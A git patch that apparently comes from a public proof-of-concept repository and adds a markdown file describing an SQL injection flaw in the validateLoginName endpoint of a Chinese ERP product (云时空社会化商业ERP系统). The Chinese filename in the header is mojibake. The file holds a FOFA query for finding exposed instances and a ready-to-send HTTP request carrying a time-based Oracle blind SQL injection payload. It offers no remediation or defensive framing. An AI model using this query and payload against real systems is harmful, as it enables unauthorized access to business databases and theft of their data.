From 9472ed3f6b072ad66542c4dbc9ee1be7c20e0fd3 Mon Sep 17 00:00:00 2001 From: wy876 <139549762+wy876@users.noreply.github.com> Date: Fri, 19 Apr 2024 22:08:33 +0800 Subject: [PATCH] =?UTF-8?q?Create=20=E4=BA=91=E6=97=B6=E7=A9=BA=E7=A4=BE?= =?UTF-8?q?=E4=BC=9A=E5=8C=96=E5=95=86=E4=B8=9AERP=E7=B3=BB=E7=BB=9Fvalida?= =?UTF-8?q?teLoginName=E6=8E=A5=E5=8F=A3=E5=A4=84=E5=AD=98=E5=9C=A8SQL?= =?UTF-8?q?=E6=B3=A8=E5=85=A5=E6=BC=8F=E6=B4=9E.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...¸šERP系统validateLoginName接å£å¤„存在SQL注入æ¼æ´ž.md | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 云时空社会化商业ERP系统validateLoginName接å£å¤„存在SQL注入æ¼æ´ž.md diff --git a/云时空社会化商业ERP系统validateLoginName接å£å¤„存在SQL注入æ¼æ´ž.md b/云时空社会化商业ERP系统validateLoginName接å£å¤„存在SQL注入æ¼æ´ž.md new file mode 100644 index 0000000..932550c --- /dev/null +++ b/云时空社会化商业ERP系统validateLoginName接å£å¤„存在SQL注入æ¼æ´ž.md @@ -0,0 +1,19 @@ +## 云时空社会化商业ERP系统validateLoginName接å£å¤„存在SQL注入æ¼æ´ž + +## fofa +``` +app="云时空社会化商业ERP系统" +``` + +## poc +``` +GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1 +Host: your-ip +User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9 +Connection: close +``` + +![b7009bbcc1323bb5ad48105abc815195](https://github.com/wy876/POC/assets/139549762/56ecb0a8-6e71-467f-8f00-e96e5d8e1969)